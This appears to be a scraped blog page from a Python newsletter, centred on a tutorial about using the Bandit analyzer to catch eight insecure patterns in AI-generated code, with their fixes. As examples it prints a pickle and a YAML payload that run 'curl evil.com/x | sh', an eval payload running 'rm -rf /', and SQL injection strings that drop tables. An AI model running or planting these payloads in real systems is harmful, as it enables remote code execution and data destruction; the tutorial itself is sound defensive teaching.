A single slim build command took this chatbot from 308 MB to 163 MB. That is one data point on one image. Your numbers will likely look different. The wider the gap between what your image installs and what it actually runs at runtime, the bigger the reduction tends to be. Give it a try on your own images and see what kind of improvement you get.
Related Tutorials

How to Test GitHub Actions Locally with act: Iterate on a slim-build CI workflow locally before pushing.
Unregistry: Skip the Registry, Deploy Docker Images Directly: Deploy the slimmed image straight to a server, no registry required.

📚 Want to go deeper? Learning new techniques is the easy part. Knowing how to structure, test, and deploy them is what separates side projects from real work. My book shows you how to build data science projects that actually make it to production. Get the book →

Shrink Your Python Container in One Command with SlimToolkit Read More »

Never Use yaml.load() in Python. Here’s Why.

Grab your coffee. Here are this week’s highlights.

📅 Today’s Picks

Never Use yaml.load() in Python. Here’s Why.

Problem
Has your AI assistant ever suggested yaml.load() to parse a config file?
It’s an easy mistake: yaml.load() looks like a clean way to turn YAML into a Python dict, and AI tools generate it freely because it appears in plenty of legacy code.
But yaml.load() can do more than parse text. It can execute Python objects embedded in the YAML, meaning anyone who controls that file could run shell commands on your machine.
Solution
Use yaml.safe_load() instead. It only supports standard YAML types like mappings, lists, strings, numbers, booleans, and null, and rejects anything that tries to execute code.
To catch unsafe yaml.load() calls automatically, scan your codebase with Bandit.

📖 View Full Article

Context7: Stop AI Agents from Generating Deprecated Syntax

Problem
AI coding assistants often generate code using training data that may already be outdated.
That means if you ask for Polars 1.x code, the model may still generate deprecated 0.x APIs from older training data.
Solution
Context7 solves this by pulling the latest, version-specific library docs directly into the prompt before the assistant writes any code. That way, it generates code against the API that actually exists today.
Other capabilities:

One command sets it up across Cursor, Claude Code, Copilot, and 30+ clients
Trigger with use context7 in any prompt
Runs as either an MCP server or a CLI + skill, so it works with or without MCP support
Automatically loads version-matched docs like “Polars 1.0”

📚 Latest Deep Dives

Bandit: Audit AI-Generated Python for Security Flaws

LLMs have become extremely good at generating syntactically valid Python, but security quality has barely improved.
Veracode’s Spring 2026 GenAI Code Security Report found that security pass rates have remained stuck near 55% since 2024.
That gap exists because models learn from public code full of insecure patterns and reproduce them when prompted.
At the same time, reviewers usually verify whether code works, not whether it introduces vulnerabilities.
Bandit is a static analyzer for Python that identifies insecure patterns by matching code against 60+ Common Weakness Enumeration (CWE) rules.
This article walks through 8 common anti-patterns in AI-generated Python and how to fix them with Bandit.

📖 View Full Article

☕️ Weekly Finds

beartype
[Code Quality]
– Near-real-time pure-Python runtime type-checker. Decorate a function and catch type violations the moment they happen, not after a stack trace.

vulture
[Code Quality]
– Find dead Python code. Scans your project for unused functions, classes, imports, and variables so you can safely delete them.

pyupgrade
[Code Quality]
– A tool (and pre-commit hook) that automatically upgrades Python syntax to newer language versions. Drop f-strings, dict literals, and modern type hints in one sweep.

Looking for a specific tool? Explore 70+ Python tools →

Stay Current with CodeCut

Actionable Python tips, curated for busy data pros. Skim in under 2 minutes, three times a week.

.codecut-subscribe-form .codecut-input {
background: #2F2D2E !important;
border: 1px solid #72BEFA !important;
color: #FFFFFF !important;
}
.codecut-subscribe-form .codecut-input::placeholder {
color: #999999 !important;
}
.codecut-subscribe-form .codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
}
.codecut-subscribe-form .codecut-subscribe-btn:hover {
background: #5aa8e8 !important;
}

.codecut-subscribe-form {
max-width: 650px;
display: flex;
flex-direction: column;
gap: 8px;
}
.codecut-input {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background: #FFFFFF;
border-radius: 8px !important;
padding: 8px 12px;
font-family: ‘Comfortaa’, sans-serif !important;
font-size: 14px !important;
color: #333333;
border: none !important;
outline: none;
width: 100%;
box-sizing: border-box;
}
input[type=”email”].codecut-input {
border-radius: 8px !important;
}
.codecut-input::placeholder {
color: #666666;
}
.codecut-email-row {
display: flex;
align-items: stretch;
height: 36px;
gap: 8px;
}
.codecut-email-row .codecut-input {
flex: 1;
}
.codecut-subscribe-btn {
background: #72BEFA;
color: #2F2D2E;
border: none;
border-radius: 8px;
padding: 8px 14px;
font-family: ‘Comfortaa’, sans-serif;
font-size: 14px;
font-weight: 500;
cursor: pointer;
text-decoration: none;
display: flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}
.codecut-subscribe-btn:hover {
background: #5aa8e8;
}
.codecut-subscribe-btn:disabled {
background: #999;
cursor: not-allowed;
}
.codecut-message {
font-family: ‘Comfortaa’, sans-serif;
font-size: 12px;
padding: 8px;
border-radius: 6px;
display: none;
}
.codecut-message.success {
background: #d4edda;
color: #155724;
display: block;
}
@media (max-width: 480px) {
.codecut-email-row {
flex-direction: column;
height: auto;
gap: 8px;
}
.codecut-input {
border-radius: 8px;
height: 36px;
}
.codecut-subscribe-btn {
width: 100%;
text-align: center;
border-radius: 8px;
height: 36px;
}
}

Subscribe

Never Use yaml.load() in Python. Here’s Why. Read More »

Bandit: Catch Insecure Patterns in AI-Generated Python Code

Grab your coffee. Here are this week’s highlights.

📅 Today’s Picks

Bandit: Catch Insecure Patterns in AI-Generated Python Code

Problem
LLMs have become extremely good at generating syntactically valid Python, but security quality has barely improved.
Veracode’s Spring 2026 GenAI Code Security Report found that security pass rates have remained stuck near 55% since 2024.
That gap exists because models learn from public code full of insecure patterns and reproduce them when prompted.
At the same time, reviewers usually verify whether code works, not whether it introduces vulnerabilities.
Solution
Bandit is a static analyzer for Python that identifies insecure patterns by matching code against 60+ Common Weakness Enumeration (CWE) rules.
Key capabilities:

Flags hardcoded secrets, weak hashes (MD5, SHA1), and unsafe deserialization
Detects SQL string concatenation, eval, and exec injection risks
Catches empty except blocks and unpinned Hugging Face downloads
Integrates with pre-commit hooks and GitHub Actions out of the box
Maps every finding to a CWE ID so issues stay auditable

📖 View Full Article

llama.cpp: Run LLMs 70% Faster Than Ollama on the Same GPU

Problem
An r/LocalLLaMA benchmark on Qwen-3 Coder 32B (FP16) measured Ollama at 30 tokens/sec and llama.cpp at 52 tokens/sec on the same model and hardware.
Ollama is built on top of llama.cpp, so the core inference engine is identical. The performance gap comes from configuration.
Solution
Ollama ships with conservative defaults designed to work reliably across many systems. llama.cpp exposes the low-level tuning flags so you can optimize specifically for your hardware.
Key flags to tune:

GPU offload (-ngl 99): put the entire model on your GPU instead of partial offload
Throughput (–batch-size): bigger means faster prompts but more GPU memory
Context length (–cache-type-k q4): use less GPU memory per token so longer prompts fit
Generation speed (-md): run a small helper model alongside your main model for 2-3x faster generation

📖 View Full Article

📚 Latest Deep Dives

Bandit: Audit AI-Generated Python for Security Flaws

LLMs have become extremely good at generating syntactically valid Python, but security quality has barely improved.
Veracode’s Spring 2026 GenAI Code Security Report found that security pass rates have remained stuck near 55% since 2024.
That gap exists because models learn from public code full of insecure patterns and reproduce them when prompted.
At the same time, reviewers usually verify whether code works, not whether it introduces vulnerabilities.
Bandit is a static analyzer for Python that identifies insecure patterns by matching code against 60+ Common Weakness Enumeration (CWE) rules.
This article walks through 8 common anti-patterns in AI-generated Python and how to fix them with Bandit.

📖 View Full Article

☕️ Weekly Finds

scalene
[Code Quality]
– A high-performance CPU, GPU, and memory profiler for Python with AI-powered optimization proposals.

pymc-marketing
[Data Analysis]
– Bayesian marketing toolbox in PyMC. Includes Media Mix Modeling (MMM), customer lifetime value (CLV), and buy-till-you-die (BTYD) models.

cronboard
[Workflow Automation]
– A terminal-based dashboard for managing cron jobs locally and on remote servers. Add, edit, pause, resume, and search jobs from the terminal.

Looking for a specific tool? Explore 70+ Python tools →

Stay Current with CodeCut

Actionable Python tips, curated for busy data pros. Skim in under 2 minutes, three times a week.

.codecut-subscribe-form .codecut-input {
background: #2F2D2E !important;
border: 1px solid #72BEFA !important;
color: #FFFFFF !important;
}
.codecut-subscribe-form .codecut-input::placeholder {
color: #999999 !important;
}
.codecut-subscribe-form .codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
}
.codecut-subscribe-form .codecut-subscribe-btn:hover {
background: #5aa8e8 !important;
}

.codecut-subscribe-form {
max-width: 650px;
display: flex;
flex-direction: column;
gap: 8px;
}
.codecut-input {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background: #FFFFFF;
border-radius: 8px !important;
padding: 8px 12px;
font-family: ‘Comfortaa’, sans-serif !important;
font-size: 14px !important;
color: #333333;
border: none !important;
outline: none;
width: 100%;
box-sizing: border-box;
}
input[type=”email”].codecut-input {
border-radius: 8px !important;
}
.codecut-input::placeholder {
color: #666666;
}
.codecut-email-row {
display: flex;
align-items: stretch;
height: 36px;
gap: 8px;
}
.codecut-email-row .codecut-input {
flex: 1;
}
.codecut-subscribe-btn {
background: #72BEFA;
color: #2F2D2E;
border: none;
border-radius: 8px;
padding: 8px 14px;
font-family: ‘Comfortaa’, sans-serif;
font-size: 14px;
font-weight: 500;
cursor: pointer;
text-decoration: none;
display: flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}
.codecut-subscribe-btn:hover {
background: #5aa8e8;
}
.codecut-subscribe-btn:disabled {
background: #999;
cursor: not-allowed;
}
.codecut-message {
font-family: ‘Comfortaa’, sans-serif;
font-size: 12px;
padding: 8px;
border-radius: 6px;
display: none;
}
.codecut-message.success {
background: #d4edda;
color: #155724;
display: block;
}
@media (max-width: 480px) {
.codecut-email-row {
flex-direction: column;
height: auto;
gap: 8px;
}
.codecut-input {
border-radius: 8px;
height: 36px;
}
.codecut-subscribe-btn {
width: 100%;
text-align: center;
border-radius: 8px;
height: 36px;
}
}

Subscribe

Bandit: Catch Insecure Patterns in AI-Generated Python Code Read More »

Bandit: Audit AI-Generated Python for Security Flaws

Table of Contents

When AI Writes Insecure Python
What Is Bandit?
Setup
Catching the Top 8 AI Antipatterns
1. Hardcoded Secrets
2. eval and exec on Untrusted Input
3. pickle.load on Untrusted Data
4. MD5 and SHA1 for Security
5. SQL String Concatenation
6. Suppressed Exceptions
7. yaml.load on Untrusted Data
8. Unpinned Hugging Face Downloads

Scanning Whole Projects
Configuring Bandit
Automating Bandit Locally and in CI
Alternative: Ruff S-Rules
Bandit vs. AI Code Review
Final Thoughts

When AI Writes Insecure Python
GitHub Copilot, Cursor, and Claude Code now generate a large share of production Python. The output usually looks polished enough that pull requests get approved without anyone reviewing every line closely.
The problem is that secure-looking code is not necessarily secure code. Veracode’s Spring 2026 GenAI Code Security Report tested 150 LLMs on 80 real-world programming tasks and found that 45% of generated code introduced an OWASP Top 10 vulnerability (a standard list of critical web security risks).
Python had the best results overall, but its generated code still failed security validation around 38% of the time.

Source: Veracode Spring 2026 GenAI Code Security Update.

More capable models have not solved this problem. Veracode reports that while syntactic correctness has climbed above 95%, security pass rates have stayed nearly flat at around 55% since 2024.

Source: Veracode Spring 2026 GenAI Code Security Update.

There are two main reasons for this:

LLMs are trained on public Python that contains plenty of insecure patterns and reproduce those patterns when prompted.
Reviewers focus primarily on behavior and correctness, not on recognizing vulnerability patterns.

Consider this AI-generated function for fetching a user’s orders:
def get_orders(conn, user_id):
query = f"SELECT * FROM orders WHERE user_id = '{user_id}'"
return conn.execute(query).fetchall()

get_orders(conn, "42")
# [(101, "42", "shipped"), (102, "42", "pending")]

The function handles normal input, but a malicious value like user_id = "1' OR '1'='1" turns the query into a request for every order. That is SQL injection (CWE-89): user input changes the meaning of the SQL statement.
Bandit is exactly that kind of static analyzer. The rest of this article walks through:

Running Bandit on AI-generated code samples
Catching the eight antipatterns LLMs over-produce
Configuring suppression for legitimate exceptions
Automating with pre-commit and GitHub Actions
Running Bandit’s checks through Ruff’s S-rules
Comparing Bandit with AI code review tools

Stay Current with CodeCut
Easy-to-digest articles on Python, AI, and open-source tools. Delivered twice a week.

.codecut-subscribe-wrap {
display: flex;
justify-content: center;
}

.codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
border: none;
border-radius: 8px;
padding: 12px 28px;
font-family: inherit;
font-size: 16px;
font-weight: 700;
cursor: pointer;
text-decoration: none !important;
display: inline-flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}

.codecut-subscribe-btn:hover,
.codecut-subscribe-btn:focus {
background: #5aa8e8 !important;
color: #2F2D2E !important;
text-decoration: none !important;
}

/* Mobile responsive */
@media (max-width: 480px) {
.codecut-subscribe-btn {
width: 100%;
text-align: center;
}
}

Subscribe for free

What Is Bandit?
Bandit is a static security analyzer for Python, built by the same team behind pylint and flake8.
Bandit matches code patterns against a catalog of 60+ rules drawn from the Common Weakness Enumeration (CWE), the industry’s standard list of software security flaws. Each match reports the rule, severity, CWE category, and a docs link.
What Bandit does:

Flags known insecure Python patterns: eval, pickle.loads, weak hashes, hardcoded secrets, SQL string concatenation.
Reads how your Python is written (function calls, arguments, imports), without running it.

What Bandit does not do:

Catch wrong types (mypy and pyright handle that).
Catch missing permission checks (who is allowed to do what) or business-rule errors (such as a withdrawal that exceeds the account balance).
Replace human review or AI review tools like CodeRabbit.

Setup
Install Bandit with the optional toml extra so it can read configuration from pyproject.toml:
pip install "bandit[toml]"

This article uses bandit v1.9.4.
Or with uv:
uv add "bandit[toml]"

To follow along, create a folder for the AI-generated samples used in the next section:
mkdir -p bandit_examples

Catching the Top 8 AI Antipatterns
This section covers eight security antipatterns that often appear in AI-generated Python. Each example starts with a small AI-written snippet, saved under bandit_examples/, then scanned with Bandit.
1. Hardcoded Secrets
Prompt: “Write a Python function to charge a card via the Stripe API.”
# bandit_examples/api_client.py
import requests

API_SECRET = "sk_test_4eC39HqLyjWDarjtT1zdp7dc"

def create_charge(amount: int, currency: str = "usd"):
return requests.post(
"https://api.stripe.com/v1/charges",
auth=(API_SECRET, ""),
data={"amount": amount, "currency": currency},
timeout=10,
)

Run Bandit:
bandit bandit_examples/api_client.py

>> Issue: [B105:hardcoded_password_string] Possible hardcoded password: 'sk_test_4eC39HqLyjWDarjtT1zdp7dc'
Severity: Low Confidence: Medium
CWE: CWE-259 (https://cwe.mitre.org/data/definitions/259.html)
Location: bandit_examples/api_client.py:3:13
2
3 API_SECRET = "sk_test_4eC39HqLyjWDarjtT1zdp7dc"
4

Why Bandit Flags This
Bandit caught API_SECRET not by recognizing a real Stripe key, but by reading the variable name. The B105 check looks for substrings like password, secret, token, and pwd in identifiers. Whatever string you assign, the rule fires as long as the name contains one of those substrings.
Bandit scans the name for any of these substrings:

┌──────────┬────────┬───────┬─────┐
│ password │ secret │ token │ pwd │
└──────────┴────────┴───────┴─────┘

API_SECRET contains "secret" → fires
AUTH_TOKEN contains "token" → fires
LOGIN_PWD contains "pwd" → fires
API_KEY no match → silent
DATABASE_URL no match → silent

B105 isn’t foolproof, but it’s fast and catches the bulk of accidental hardcoded secrets in everyday Python code. For names it doesn’t recognize (like API_KEY or DATABASE_URL), add gitleaks as a second hook in the pre-commit config alongside Bandit:
– repo: https://github.com/gitleaks/gitleaks
rev: v8.21.0
hooks:
– id: gitleaks

gitleaks inspects the string itself for random-looking values or known credential formats (Stripe’s sk_live_…, AWS keys, GitHub tokens). Each commit then gets scanned by both.
What an Attacker Can Do
Even in a private repo, the secret is exposed to anyone with read access, and it persists in git history forever. A single compromised laptop, a leaked CI log, or a stack trace in an error report puts the key in attacker hands. Once leaked, the attacker can authenticate as your service:
import requests

requests.post(
"https://api.stripe.com/v1/charges",
auth=("sk_test_4eC39HqLyjWDarjtT1zdp7dc", ""),
data={"amount": 999900, "currency": "usd"},
)

The Fix
Store the secret in a .env file (added to .gitignore) and load it with python-dotenv:
# .env (not committed)
STRIPE_API_SECRET=sk_test_4eC39HqLyjWDarjtT1zdp7dc

import os
import requests
from dotenv import load_dotenv

load_dotenv()
API_SECRET = os.environ["STRIPE_API_SECRET"]

def create_charge(amount: int, currency: str = "usd"):
return requests.post(
"https://api.stripe.com/v1/charges",
auth=(API_SECRET, ""),
data={"amount": amount, "currency": currency},
timeout=10,
)

load_dotenv() reads the .env file into os.environ, so the rest of your code uses os.environ as usual. Bandit stays silent because the assignment is os.environ["…"], not a string literal.
2. eval and exec on Untrusted Input
Prompt: “Build a small formula calculator: pass in a math expression as a string and a numeric value for x, return the result.”
# bandit_examples/eval_demo.py
def calculate_metric(formula: str, value: float) -> float:
return eval(formula.replace("x", str(value)))

bandit bandit_examples/eval_demo.py

>> Issue: [B307:blacklist] Use of possibly insecure function – consider using safer ast.literal_eval.
Severity: Medium Confidence: High
CWE: CWE-78 (https://cwe.mitre.org/data/definitions/78.html)
Location: bandit_examples/eval_demo.py:2:11
1 def calculate_metric(formula: str, value: float) -> float:
2 return eval(formula.replace("x", str(value)))

Why Bandit Flags This
B307 fires on any call to eval(), regardless of what’s passed in.
What an Attacker Can Do
If formula ever comes from outside your script, an attacker can pass:
calculate_metric("__import__('os').system('rm -rf /')", value=1)

eval() executes this as Python code, importing os and running a shell command that recursively deletes everything in the current working directory.
The Fix
Two safer alternatives, depending on the input:

ast.literal_eval for literal data (numbers, strings, lists, dicts)
numexpr for math expressions

Here’s how to use numexpr to parse math expressions:
import numexpr

def calculate_metric(formula: str, value: float) -> float:
return float(numexpr.evaluate(formula, local_dict={"x": value}))

# The malicious payload from before is rejected:
calculate_metric("__import__('os').system('rm -rf /')", value=1)
# ValueError: Expression __import__('os').system('rm -rf /')
# has forbidden control characters.

# Normal math still works:
calculate_metric("2*x + 3", value=5)
# 13.0

numexpr parses math expressions, not Python code, so the malicious payload from earlier raises a ValueError instead of running.
For literal data instead of math, use ast.literal_eval:
import ast

def parse_config_value(value: str):
return ast.literal_eval(value)

# The malicious payload is rejected:
parse_config_value("__import__('os').system('rm -rf /')")
# ValueError: malformed node or string on line 1: <ast.Call object>

# Literal data is parsed as expected:
parse_config_value("[1, 2, 3]") # [1, 2, 3]
parse_config_value("{'mode': 'fast'}") # {'mode': 'fast'}

ast.literal_eval only accepts Python literals (numbers, strings, lists, dicts, tuples, booleans, None); anything else raises ValueError.
3. pickle.load on Untrusted Data
Prompt: “Write a function that downloads a model artifact from a URL and loads it for inference.”
# bandit_examples/pickle_demo.py
import pickle
import requests

def load_model_from_url(url: str):
response = requests.get(url, timeout=10)
return pickle.loads(response.content)

bandit bandit_examples/pickle_demo.py

>> Issue: [B403:blacklist] Consider possible security implications associated with pickle module.
Severity: Low Confidence: High
CWE: CWE-502
Location: bandit_examples/pickle_demo.py:1:0

>> Issue: [B301:blacklist] Pickle and modules that wrap it can be unsafe when used to deserialize untrusted data, possible security issue.
Severity: Medium Confidence: High
CWE: CWE-502
Location: bandit_examples/pickle_demo.py:6:11
5 response = requests.get(url, timeout=10)
6 return pickle.loads(response.content)

Why Bandit Flags This
Bandit fires two rules here:

B301 triggers on the pickle.loads() call itself.
B403 flags import pickle, signaling pickle is used somewhere in the file.

What an Attacker Can Do
Pickle is a serialization format that records Python operations and runs them on load. Loading attacker-controlled pickle bytes is the same as running attacker-controlled Python code:
# Attacker prepares the payload:
import pickle, os

class Exploit:
def __reduce__(self):
return (os.system, ("curl evil.com/x | sh",))

# pickle.dumps(Exploit()) is hosted at https://evil.com/model.pkl

# Your function fetches and loads it:
load_model_from_url("https://evil.com/model.pkl")
# pickle.loads() reconstructs Exploit, which runs os.system(…)
# before load_model_from_url even returns.

The Fix
Choose a format that does not execute code on load. Common alternatives by data type:

Tensors: safetensors
Full ML models: ONNX
Tabular data: Parquet, Apache Arrow
Plain Python data (dicts, lists, primitives): JSON, MessagePack
Configs: TOML, YAML (with yaml.safe_load)

For the model loader from earlier, swap pickle for safetensors:
import requests
from safetensors.torch import load

def load_model_from_url(url: str):
response = requests.get(url, timeout=10)
return load(response.content)

If you must use pickle, only load files you produced yourself. See the Python pickle module docs for the official security warning.
4. MD5 and SHA1 for Security
Prompt: “Write a function that hashes email addresses so two datasets can be joined without sharing the raw emails.”
# bandit_examples/md5_demo.py
import hashlib

def hash_pii(email: str) -> str:
return hashlib.md5(email.encode()).hexdigest()

In this code:

hashlib.md5(email.encode()) runs the email through the MD5 algorithm to produce a 16-byte hash: a fixed-length value that is the same for any given input and effectively impossible to reverse back to the original.
.hexdigest() returns the hash as a 32-character string of hex digits (e.g., '8d777f385d3dfec8815d20f7496026dc'), which is easy to store in a database or print.

bandit bandit_examples/md5_demo.py

>> Issue: [B324:hashlib] Use of weak MD5 hash for security. Consider usedforsecurity=False
Severity: High Confidence: High
CWE: CWE-327 (https://cwe.mitre.org/data/definitions/327.html)
Location: bandit_examples/md5_demo.py:4:11
3 def hash_pii(email: str) -> str:
4 return hashlib.md5(email.encode()).hexdigest()

Why Bandit Flags This
B324 fires on any call to hashlib.md5() or hashlib.sha1() that does not pass usedforsecurity=False.
What an Attacker Can Do
MD5 hashes of email addresses are not anonymous. The hash column has to appear in the joined dataset (it is the join key), and MD5 always produces the same output for the same input. Anyone who reads the dataset can hash a list of plausible emails themselves and match each result against your hashes:
Step 1: Attacker hashes a list of plausible emails

alice@example.com ──┐
bob@example.com ──┼─► MD5 ─► '8d77…' : 'alice@…'
carol@example.com ──┘ 'ce4d…' : 'bob@…'
'7a91…' : 'carol@…'

Step 2: Attacker reads your dataset and looks up each hash

Your dataset's hash column Attacker's lookup
───────────────────── ────────────────────────
8d77… ──► found: alice@example.com
ce4d… ──► found: bob@example.com

The Fix
Here are safer alternatives, depending on the use case:

hmac with SHA-256 and a secret salt (extra data you mix into every hash that only you know) for hashing PII before sharing a dataset.
argon2-cffi or bcrypt for password hashing specifically.

For the dataset-join example, use HMAC-SHA256 with a salt nobody else knows:
import hmac
import hashlib
import os

SALT = os.environ["EMAIL_HASH_SALT"].encode()

def hash_pii(email: str) -> str:
return hmac.new(SALT, email.encode(), hashlib.sha256).hexdigest()

Without the salt, an attacker cannot reproduce your hashes from a list of candidate emails. Keep it secret and rotate it if it leaks.
5. SQL String Concatenation
Prompt: “Write a function that returns all orders for a given user_id from a SQLite database.”
# bandit_examples/sql_demo.py
import sqlite3

def get_user_orders(conn: sqlite3.Connection, user_id: str):
cursor = conn.cursor()
query = "SELECT * FROM orders WHERE user_id = '" + user_id + "'"
return cursor.execute(query).fetchall()

bandit bandit_examples/sql_demo.py

>> Issue: [B608:hardcoded_sql_expressions] Possible SQL injection vector through string-based query construction.
Severity: Medium Confidence: Low
CWE: CWE-89 (https://cwe.mitre.org/data/definitions/89.html)
Location: bandit_examples/sql_demo.py:5:12
4 cursor = conn.cursor()
5 query = "SELECT * FROM orders WHERE user_id = '" + user_id + "'"
6 return cursor.execute(query).fetchall()

Why Bandit Flags This
B608 fires on any SQL query built by string concatenation, f-strings, or % formatting.
What an Attacker Can Do
The query string and user_id flow into a single SQL statement, so anything an attacker puts in user_id becomes part of the query. For example:
get_user_orders(conn, "1' OR '1'='1")
# Resulting query:
# SELECT * FROM orders WHERE user_id = '1' OR '1'='1'
# Returns every row in the table.

get_user_orders(conn, "1'; DROP TABLE orders; –")
# Resulting query:
# SELECT * FROM orders WHERE user_id = '1'; DROP TABLE orders; –'
# The orders table is deleted.

Each payload breaks out of the SQL string with a closing ', then injects extra syntax:

1' OR '1'='1: closes the string and appends OR '1'='1', which is always true. The WHERE clause matches every row, leaking every customer’s order history.
1'; DROP TABLE orders; –: closes the string, then runs a separate DROP TABLE statement. The orders table is deleted before the function returns.

The Fix
Use a parameterized query (where the SQL and the user input are passed separately) so the database driver, not Python, handles escaping:
def get_user_orders(conn: sqlite3.Connection, user_id: str):
cursor = conn.cursor()
return cursor.execute(
"SELECT * FROM orders WHERE user_id = ?", (user_id,)
).fetchall()

# Normal call works as expected:
get_user_orders(conn, "42")
# [(101, "42", "shipped"), (102, "42", "pending")]

# The malicious payload is treated as data, not SQL:
get_user_orders(conn, "1' OR '1'='1")
# [] — the database searches for a literal user_id of
# "1' OR '1'='1", which no row has.

Two things happen when this code runs:

The first call returns user 42’s orders as expected.
The second call returns nothing because the database treats 1' OR '1'='1 as a literal user ID to look up, not as SQL.

6. Suppressed Exceptions
Prompt: “Write a function that fetches a metric from an API endpoint.”
# bandit_examples/swallow_demo.py
import logging
import requests

def fetch_metric(url: str) -> float | None:
try:
return requests.get(url, timeout=10).json()["value"]
except requests.exceptions.HTTPError as e:
logging.error(f"HTTP error {e.response.status_code} for {url}")
raise
except Exception:
pass

bandit bandit_examples/swallow_demo.py

>> Issue: [B110:try_except_pass] Try, Except, Pass detected.
Severity: Low Confidence: High
CWE: CWE-703 (https://cwe.mitre.org/data/definitions/703.html)
Location: bandit_examples/swallow_demo.py:10:4
9 raise
10 except Exception:
11 pass

Why Bandit Flags This
B110 fires on any try/except block that ends with a bare pass.
What an Attacker Can Do
The try/except block with a pass turns every failure into None regardless of the cause. That makes failures easy to miss and easy to exploit.
# Real network failure:
fetch_metric("https://api.broken.example.com/cpu")
# None (no log)

# Attacker probing with a malicious payload:
fetch_metric("https://api.example.com/cpu?inject='; DROP TABLE metrics; –")
# None (no log)

# Both produce identical output and leave no trace.

The Fix
Log the exception and return None explicitly so the failure is visible:
import logging
import requests

def fetch_metric(url: str) -> float | None:
try:
return requests.get(url, timeout=10).json()["value"]
except requests.exceptions.HTTPError as e:
logging.error(f"HTTP error {e.response.status_code} for {url}")
raise
except Exception:
logging.exception(f"fetch_metric failed for {url}")
return None

Now an attacker probing with a malformed payload still gets None, but the failure leaves a trail:
fetch_metric("https://api.example.com/cpu?inject='; DROP TABLE metrics; –")

Output:
ERROR:root:fetch_metric failed for https://api.example.com/cpu?inject=…
Traceback (most recent call last):
File "…", line 5, in fetch_metric
return requests.get(url, timeout=10).json()["value"]
KeyError: 'value'
None

A genuine outage (here, a host that does not resolve) is logged the same way, leaving a traceback for debugging:
fetch_metric("https://api.broken.example.invalid/cpu")

Output:
ERROR:root:fetch_metric failed for https://api.broken.example.invalid/cpu
Traceback (most recent call last):
…
socket.gaierror: [Errno 8] nodename nor servname provided, or not known
…
requests.exceptions.ConnectionError: HTTPSConnectionPool(host='api.broken.example.invalid', port=443):
Max retries exceeded with url: /cpu
None

📖 If you want a friendlier API than the standard logging module, see Loguru.

7. yaml.load on Untrusted Data
Prompt: “Write a function that loads a YAML config file and returns it as a dict.”
# bandit_examples/yaml_demo.py
import yaml

def load_config(path: str) -> dict:
with open(path) as f:
return yaml.load(f)

bandit bandit_examples/yaml_demo.py

>> Issue: [B506:yaml_load] Use of unsafe yaml load. Allows instantiation of arbitrary objects. Consider yaml.safe_load().
Severity: Medium Confidence: High
CWE: CWE-20 (https://cwe.mitre.org/data/definitions/20.html)
Location: bandit_examples/yaml_demo.py:5:15
4 with open(path) as f:
5 return yaml.load(f)

Why Bandit Flags This
B506 fires on any call to yaml.load() that does not pass a safe loader.
What an Attacker Can Do
yaml.load behaves more like pickle.loads than a plain parser. It can instantiate classes and call functions defined in the YAML, so a hostile file runs code on load:
# malicious.yaml
!!python/object/apply:os.system ["curl evil.com/x | sh"]

Parsing the file runs curl evil.com/x | sh: a one-line remote shell that downloads and executes whatever script the attacker hosts, all before load_config returns.
The Fix
Use yaml.safe_load, which only parses standard YAML types (mappings, sequences, strings, numbers, booleans, null):
import yaml

def load_config(path: str) -> dict:
with open(path) as f:
return yaml.safe_load(f)

Now loading the malicious YAML from earlier raises an error instead of executing code:
load_config("malicious.yaml")
# yaml.constructor.ConstructorError: could not determine a constructor
# for the tag 'tag:yaml.org,2002:python/object/apply:os.system'

safe_load only parses standard YAML types (mappings, sequences, strings, numbers, booleans, null), so the !!python/object/apply:… directive is rejected.
8. Unpinned Hugging Face Downloads
Prompt: “Write a function that loads a sentiment classifier from Hugging Face.”
# bandit_examples/hf_demo.py
from transformers import AutoModel

def load_sentiment_model():
return AutoModel.from_pretrained("distilbert-base-uncased")

bandit bandit_examples/hf_demo.py

>> Issue: [B615:huggingface_unsafe_download] Unsafe Hugging Face Hub download without revision pinning in from_pretrained()
Severity: Medium Confidence: High
CWE: CWE-494 (https://cwe.mitre.org/data/definitions/494.html)
Location: bandit_examples/hf_demo.py:4:11
3 def load_sentiment_model():
4 return AutoModel.from_pretrained("distilbert-base-uncased")

Why Bandit Flags This
B615 fires on any Hugging Face download (from_pretrained, load_dataset, hf_hub_download, snapshot_download) that does not pin a commit SHA.
What an Attacker Can Do
Anyone with push access to the model repo can rewrite main (or any tag) to point at different model files. The next time your code runs, it silently pulls the new version, which can include attacker-controlled code via unsafe pickle.
Your code (unchanged):
load_sentiment_model()

Behind the scenes:
Day 1: Hub "main" → a7e1bc… (legitimate)
your code → a7e1bc… ✓ safe
Day 30: attacker rewrites "main"
Day 31: Hub "main" → 9f0d24… (backdoored)
your code → 9f0d24… ✗ pickle runs their payload

The Fix
Pin revision= to a specific commit SHA instead of relying on main. Branches and tags can be rewritten, but a SHA always points to exactly the same files:
from transformers import AutoModel

def load_sentiment_model():
return AutoModel.from_pretrained(
"distilbert-base-uncased",
revision="6cdc0aad91f5ae2e6712e91bc7b65d1cf5c05411",
)

Now the same attacker rewrite has no effect on your deploy:
Your code (pinned):
load_sentiment_model() # revision="6cdc0a…"

Behind the scenes:
Day 1: Hub "main" → 6cdc0a… (legitimate)
your code → 6cdc0a… ✓ same files
Day 30: attacker rewrites "main"
Day 31: Hub "main" → 9f0d24… (backdoored)
your code → 6cdc0a… ✓ unchanged

Scanning Whole Projects
Single-file scans are useful while learning. On a real project, it is more common to scan a directory recursively:
# Scan a directory recursively
bandit -r src/

Besides showing all the security issues in the project, you will also get a summary of the run:
Code scanned:
Total lines of code: 31
Total lines skipped (#nosec): 0

Run metrics:
Total issues (by severity):
Undefined: 0
Low: 2
Medium: 3
High: 2
Total issues (by confidence):
Undefined: 0
Low: 1
Medium: 1
High: 5
Files skipped (0):

To control the severity of the findings, you can use the -l flag:
# Show only Medium and High severity findings
bandit -r src/ -ll

The -l flag controls severity reporting: -l shows Low and above, -ll shows Medium and above, -lll shows High only.
Configuring Bandit
Once Bandit is running on a real project, you will want to tune it. Some findings are noise (asserts in test files, intentional MD5 for non-security hashing), and some directories should be excluded entirely.
Skipping Rules in Specific Files
